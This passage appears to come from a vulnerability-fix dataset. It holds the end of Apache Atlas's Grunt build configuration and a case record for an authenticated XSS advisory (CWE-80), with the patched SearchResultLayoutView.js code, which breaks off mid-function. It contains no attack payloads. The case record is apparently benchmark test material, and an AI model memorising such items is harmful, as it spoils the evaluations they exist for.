'bootstrap-daterangepicker/js' },\n 'jquery.sparkline.min.js': { 'jquery-sparkline': 'sparkline' },\n 'table-dragger.js': { 'table-dragger/dist': 'table-dragger' },\n 'jstree.min.js': { 'jstree/dist': 'jstree' },\n 'jquery.steps.min.js': { 'jquery-steps/build': 'jquery-steps' },\n 'dropzone-amd-module.js': { 'dropzone/dist': \"dropzone/js\" },\n 'lossless-json.js': { 'lossless-json/dist': 'lossless-json' }\n }\n\n },\n css: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'bootstrap.min.css': { 'bootstrap/dist/css': 'bootstrap/css' },\n 'glyphicons-halflings-regular.woff2': { 'bootstrap/fonts': 'bootstrap/fonts' },\n 'backgrid.css': { 'backgrid/lib': 'backgrid/css' },\n 'backgrid-filter.min.css': { 'backgrid-filter': 'backgrid-filter/css' },\n 'backgrid-orderable-columns.css': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/css' },\n 'backgrid-paginator.css': { 'backgrid-paginator': 'backgrid-paginator/css' },\n 'backgrid-sizeable-columns.css': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/css' },\n 'Backgrid.ColumnManager.css': { 'backgrid-columnmanager/lib': 'backgrid-columnmanager/css' },\n 'select2.min.css': { 'select2/dist/css': 'select2/css' },\n 'backgrid-select-all.min.css': { 'backgrid-select-all': 'backgrid-select-all' },\n 'font-awesome.min.css': { 'font-awesome/css': 'font-awesome/css' },\n '*': [{\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'font-awesome',\n 'src': ['fonts/*.*'],\n 'dest': libPath + 'font-awesome/'\n }, {\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'jstree/dist/themes/',\n 'src': ['**'],\n 'dest': libPath + 'jstree/css/'\n }],\n 'query-builder.default.min.css': { 'jQuery-QueryBuilder/dist/css': 'jQueryQueryBuilder/css' },\n 'daterangepicker.css': { 'bootstrap-daterangepicker': 'bootstrap-daterangepicker/css' },\n 'pretty-checkbox.min.css': { 'pretty-checkbox/dist': 'pretty-checkbox/css' },\n 'dropzone.css': { 'dropzone/dist': \"dropzone/css\" }\n }\n\n },\n license: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'LICENSE.txt': [\n { 'jquery': 'jquery' },\n { 'jquery-placeholder': 'jquery-placeholder' }\n ],\n 'LICENSE': [{ 'requirejs-text': 'requirejs-text' },\n { 'underscore': 'underscore' },\n { 'bootstrap': 'bootstrap' },\n { 'backgrid-columnmanager': 'backgrid-columnmanager' },\n { 'd3': 'd3' },\n { 'd3-tip': 'd3/' },\n { 'dagre-d3': 'dagre-d3' },\n { 'platform': 'platform/' },\n { 'jQuery-QueryBuilder': 'jQueryQueryBuilder/' },\n { 'moment-timezone': 'moment-timezone' },\n { 'pretty-checkbox': 'pretty-checkbox' }\n ],\n 'LICENSE.md': [{ 'backbone.babysitter': 'backbone-babysitter' },\n { 'backbone.wreqr': 'backbone-wreqr' },\n { 'lossless-json': 'lossless-json' }\n ],\n 'license.txt': [{ 'backbone.marionette': 'backbone-marionette' }],\n 'license': [{ 'table-dragger': 'table-dragger' }],\n 'LICENSE-MIT': [{ 'backbone.paginator': 'backbone-paginator' },\n { 'backgrid': 'backgrid' },\n { 'backgrid-filter': 'backgrid-filter' },\n { 'backgrid-orderable-columns': 'backgrid-orderable-columns' },\n { 'backgrid-paginator': 'backgrid-paginator' },\n { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns' },\n { 'backgrid-select-all': 'backgrid-select-all' }\n ]\n }\n }\n },\n rename: {\n main: {\n files: [\n { src: [libPath + 'jstree/css/default/style.min.css'], dest: libPath + 'jstree/css/default/default-theme.min.css' },\n { src: [libPath + 'jstree/css/default-dark/style.min.css'], dest: libPath + 'jstree/css/default-dark/default-dark-theme.min.css' },\n ]\n }\n },\n sass: {\n options: {\n implementation: sass,\n sourceMap: false\n },\n build: {\n files: {\n [distPath + '/css/style.css']: modulesPath + 'css/scss/style.scss',\n [distPath + '/css/migration-style.css']: modulesPath + 'css/scss/migration-style.scss',\n [distPath + '/css/login.css']: modulesPath + 'css/scss/login.scss'\n }\n }\n },\n copy: {\n build: {\n expand: true,\n cwd: modulesPath,\n src: ['**', '!**/scss/**', \"!**/atlas-lineage/**\", \"**/atlas-lineage/dist/**\", \"!index.html.tpl\"],\n dest: distPath\n }\n },\n clean: {\n build: [distPath, libPath],\n options: {\n force: true\n }\n },\n uglify: {\n buildlibs: {\n options: {\n mangle: true,\n compress: true,\n beautify: false\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['external_lib/**/*.js', '!external_lib/**/purify.min.js', 'libs/**/*.js'],\n dest: distPath + '/js'\n }]\n },\n buildjs: {\n options: {\n mangle: false,\n compress: true,\n beautify: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['**/*.js', '!libs/**', '!external_lib/**'],\n dest: distPath + '/js'\n }]\n }\n },\n cssmin: {\n build: {\n files: [{\n expand: true,\n cwd: distPath + '/css',\n src: '*.css',\n dest: distPath + '/css'\n }]\n }\n },\n htmlmin: {\n build: {\n options: {\n removeComments: true,\n collapseWhitespace: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js/templates',\n src: '**/*.html',\n dest: distPath + '/js/templates'\n }]\n }\n },\n template: {\n build: {\n options: {\n data: {\n 'bust': buildTime\n }\n },\n files: {\n [distPath + '/index.html']: [modulesPath + 'index.html.tpl'],\n [distPath + '/migration-status.html']: [modulesPath + 'migration-status.html.tpl']\n }\n }\n }\n });\n\n // Dynamically add copy-task using npmcopy\n var npmCopy = grunt.config.get('npmcopy'),\n libFiles = [],\n createPath = function(options) {\n var obj = options.obj,\n fileName = options.fileName,\n pathPrefix = options.pathPrefix;\n if (obj.length) {\n for (var i in obj) {\n createPath({\n 'obj': obj[i],\n 'libFiles': options.libFiles,\n 'pathPrefix': pathPrefix,\n 'fileName': fileName\n });\n }\n } else {\n if (fileName == \"*\") {\n options.libFiles.push(obj);\n } else {\n key = Object.keys(obj);\n options.libFiles.push({ 'src': pathPrefix.srcPrefix + key + \"/\" + fileName, 'dest': pathPrefix.destPrefix + obj[key] + \"/\" + fileName });\n }\n }\n };\n\n for (var key in npmCopy) {\n var options = npmCopy[key].options,\n files = npmCopy[key].files;\n for (var fileName in files) {\n createPath({\n 'obj': files[fileName],\n 'libFiles': libFiles,\n 'pathPrefix': options,\n 'fileName': fileName\n });\n }\n };\n grunt.config.set('copy.libs', { files: libFiles });\n\n grunt.loadNpmTasks('grunt-contrib-connect');\n grunt.loadNpmTasks('grunt-middleware-proxy');\n grunt.loadNpmTasks('grunt-contrib-watch');\n grunt.loadNpmTasks('grunt-contrib-uglify');\n grunt.loadNpmTasks('grunt-contrib-cssmin');\n grunt.loadNpmTasks('grunt-contrib-htmlmin');\n grunt.loadNpmTasks('grunt-template');\n grunt.loadNpmTasks('grunt-contrib-rename');\n\n require('load-grunt-tasks')(grunt);\n\n grunt.registerTask('dev', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template'\n ]);\n\n grunt.registerTask('dev-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template'\n ]);\n};" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "function" function_lines = [[34, 1474]] id = "apache-atlas-3f751971e2a63d2e" language = "javascript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboardv2/public/js/views/search/SearchResultLayoutView.js" post_fix = "], function(require, Backbone, tableDragger, SearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VSearchList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform, VDownloadList) {\n 'use strict';\n\n var SearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchResultLayoutView */\n {\n _viewName: 'SearchResultLayoutView',\n\n template: SearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RTagLayoutView: \"#r_tagLayoutView\",\n RSearchLayoutView: \"#r_searchLayoutView\",\n REntityTableLayoutView: \"#r_searchResultTableLayoutView\",\n RSearchQuery: '#r_searchQuery'\n },\n\n /** ui selector cache */\n ui: {\n tagClick: '[data-id=\"tagClick\"]',\n termClick: '[data-id=\"termClick\"]',\n addTag: '[data-id=\"addTag\"]',\n addTerm: '[data-id=\"addTerm\"]',\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n addAssignTag: \"[data-id='addAssignTag']\",\n addAssignTerm: \"[data-id='addAssignTerm']\",\n createEntity: \"[data-id='createEntity']\",\n checkDeletedEntity: \"[data-id='checkDeletedEntity']\",\n checkSubClassification: \"[data-id='checkSubClassification']\",\n checkSubType: \"[data-id='checkSubType']\",\n colManager: \"[data-id='colManager']\",\n containerCheckBox: \"[data-id='containerCheckBox']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\",\n excludeSubtypes: \".exclude-subtypes\",\n excludeSubClassifications: \".exclude-subclassifications\",\n downloadResults: \"[data-id='downloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n entityCreate: Globals.entityCreate,\n searchType: this.searchType,\n fromView: this.fromView,\n isGlossaryView: this.fromView == \"glossary\",\n isSearchTab: Utils.getUrlState.isSearchTab(),\n isProfileDBView: this.options.profileDBView\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"click \" + this.ui.tagClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTagCross(e);\n } else {\n this.triggerUrl({\n url: '#!/tag/tagAttribute/' + scope.text().split('@')[0],\n urlParams: null,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"click \" + this.ui.termClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTermCross(e);\n } else {\n this.triggerUrl({\n url: '#!/glossary/' + scope.find('i').data('termguid'),\n urlParams: { gType: \"term\", viewType: \"term\", fromView: \"entity\" },\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.addTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.addAssignTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addAssignTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n events[\"click \" + this.ui.createEntity] = 'onClickCreateEntity';\n events[\"click \" + this.ui.checkDeletedEntity] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubClassification] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubType] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.downloadResults] = 'onDownloadSearchResults';\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'isTypeTagNotExists', 'classificationDefCollection', 'entityDefCollection', 'typeHeaders', 'searchVent', 'enumDefCollection', 'tagCollection', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'glossaryCollection', 'termName', 'businessMetadataDefCollection', 'profileDBView', 'exportVent'));\n this.entityModel = new VEntity();\n this.searchCollection = new VSearchList();\n this.downloadSearchResults = new VDownloadList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.multiSelectEntity = [];\n this.activeEntityCountSelected = 0;\n this.searchType = 'Basic Search';\n this.tableColumnsLabelMap = {};\n this.downloadSearchResultsParams = {\n searchParameters: {},\n attributeLabelMap: {}\n };\n this.columnOrder = null;\n this.defaultColumns = [\"selected\", \"name\", \"description\", \"typeName\", \"owner\", \"tag\", \"term\"];\n if (this.value) {\n if (this.value.searchType && this.value.searchType == 'dsl') {\n this.searchType = 'Advanced Search';\n }\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n if (platform.name === \"IE\") {\n this.isTableDropDisable = true;\n }\n this.businessMetadataAttributes = [];\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, 'backgrid:selected', function(model, checked) {\n this.multiSelectEntity = [];\n that.activeEntityCountSelected = 0;\n if (checked === true) {\n model.set(\"isEnable\", true);\n } else {\n model.set(\"isEnable\", false);\n }\n this.searchCollection.find(function(item) {\n if (item.get('isEnable')) {\n var obj = item.toJSON();\n if (item.get('status') === 'ACTIVE') {\n that.activeEntityCountSelected++;\n }\n that.multiSelectEntity.push({\n id: obj.guid,\n model: obj\n });\n }\n });\n this.updateMultiSelect();\n });\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n if (response.readyState === 0) {\n Utils.notifyError({\n content: \"Request aborted\"\n });\n return;\n }\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error || responseJSON.msgDesc)) || 'Something went wrong';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isSearchTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.type) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.type], this.defaultColumns);\n if (this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.downloadSearchResultsParams.searchParameters.attributes = excludeDefaultColumn;\n this.validateAttributeLabelMap();\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"search:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n var that = this;\n this.checkEntityImage = {};\n this.commonTableOptions = {\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isSearchTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {},\n that = this;\n if (this.value) {\n value = this.value;\n if (value && value.includeDE) {\n this.ui.checkDeletedEntity.prop('checked', true);\n }\n if (value && value.excludeSC) {\n this.ui.checkSubClassification.prop('checked', true);\n }\n if (value && value.excludeST) {\n this.ui.checkSubType.prop('checked', true);\n }\n\n } else {\n value = {\n 'query': null,\n 'searchType': 'basic'\n };\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n if (Globals.entityTypeConfList) {\n this.$(\".entityLink\").show();\n }\n if (this.isTypeTagNotExists) {\n Utils.notifyError({\n content: Messages.search.notExists\n });\n }\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: Utils.getUrlState.isGlossaryTab()?true:false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateMultiSelect: function() {\n var addTermTagButton = this.$('.multiSelectTag,.multiSelectTerm');\n if (this.activeEntityCountSelected > 0) {\n addTermTagButton.show();\n } else {\n addTermTagButton.hide();\n }\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns) {\n this.searchTableColumns[this.value.type || this.value.tag] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.type || this.value.tag] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isSearchTab = Utils.getUrlState.isSearchTab(),\n tagFilters = null,\n entityFilters = null;\n that.activeEntityCountSelected = 0;\n that.updateMultiSelect();\n if (isSearchTab) {\n tagFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.tagFilters);\n entityFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.entityFilters);\n }\n\n if (isPostMethod && isSearchTab) {\n var excludeDefaultColumn = ((this.value.type || this.value.tag) && this.searchTableColumns) ? _.difference(this.searchTableColumns[this.value.type || this.value.tag], this.defaultColumns) : null,\n filterObj = {\n 'entityFilters': entityFilters,\n 'tagFilters': tagFilters,\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.entities) {\n dataLength = dataOrCollection.entities.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n Utils.findAndMergeRefEntity({\n attributeObject: dataOrCollection.entities,\n referredEntities: dataOrCollection.referredEntities\n });\n that.searchCollection.reset(dataOrCollection.entities, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.entities, { silent: true });\n }\n\n\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n that.multiSelectEntity = [];\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (Utils.getUrlState.isSearchTab() && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n if (Globals.entityCreate && Globals.entityTypeConfList && Utils.getUrlState.isSearchTab()) {\n searchString += \"

    If you do not find the entity in search result below then you can\" + ' create new entity

    ';\n }\n that.$('.searchResult').html(searchString);\n }\n if (dataOrCollection.approximateCount || dataOrCollection.length) {\n that.ui.downloadResults.show();\n } else {\n that.ui.downloadResults.hide();\n }\n },\n silent: true,\n reset: true\n }\n if (this.value) {\n var checkBoxValue = {\n 'excludeDeletedEntities': (this.value.includeDE ? false : true),\n 'includeSubClassifications': (this.value.excludeSC ? false : true),\n 'includeSubTypes': (this.value.excludeST ? false : true),\n 'includeClassificationAttributes': true // server will return classication details with guid\n }\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.searchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'typeName': value.type || null, 'classification': value.tag || null, 'termName': value.term || null });\n if (this.profileDBView && value.typeName && value.guid) {\n var profileParam = {};\n profileParam['guid'] = value.guid;\n profileParam['relation'] = value.typeName === 'hive_db' ? '__hive_table.db' : '__hbase_table.namespace';\n profileParam['sortBy'] = 'name';\n profileParam['sortOrder'] = 'ASCENDING';\n _.extend(this.searchCollection.queryParams, profileParam);\n }\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n this.downloadSearchResultsParams.searchParameters = apiObj.data;\n this.generateBusinessMetadataAttrList();\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n if (this.searchType == \"Advanced Search\" && columns.length && that.searchCollection.length) {\n //for dsl search with Select clause, default column to be use as sorting\n var tableColumnNames = Object.keys(that.searchCollection.toJSON()[0]);\n that.commonTableOptions['sortOpts'] = {\n sortColumn: tableColumnNames[0],\n sortDirection: \"ascending\"\n };\n }\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n if (that.value.searchType !== \"dsl\") {\n that.ui.containerCheckBox.show();\n } else {\n that.ui.containerCheckBox.hide();\n }\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n if (Utils.getUrlState.isGlossaryTab()) {\n this.ui.excludeSubtypes.hide();\n this.ui.excludeSubClassifications.hide();\n } else if (this.fromView !== \"classification\") {\n this.ui.excludeSubtypes.show();\n this.ui.excludeSubClassifications.show();\n } else {\n this.ui.excludeSubtypes.hide();\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n generateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes) {\n _.map(params.searchParameters.attributes, function(attr) {\n for (var label in that.tableColumnsLabelMap) {\n if (attr === that.tableColumnsLabelMap[label]) {\n params.attributeLabelMap[label] = that.tableColumnsLabelMap[label];\n }\n }\n });\n }\n },\n validateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes.length !== 0) 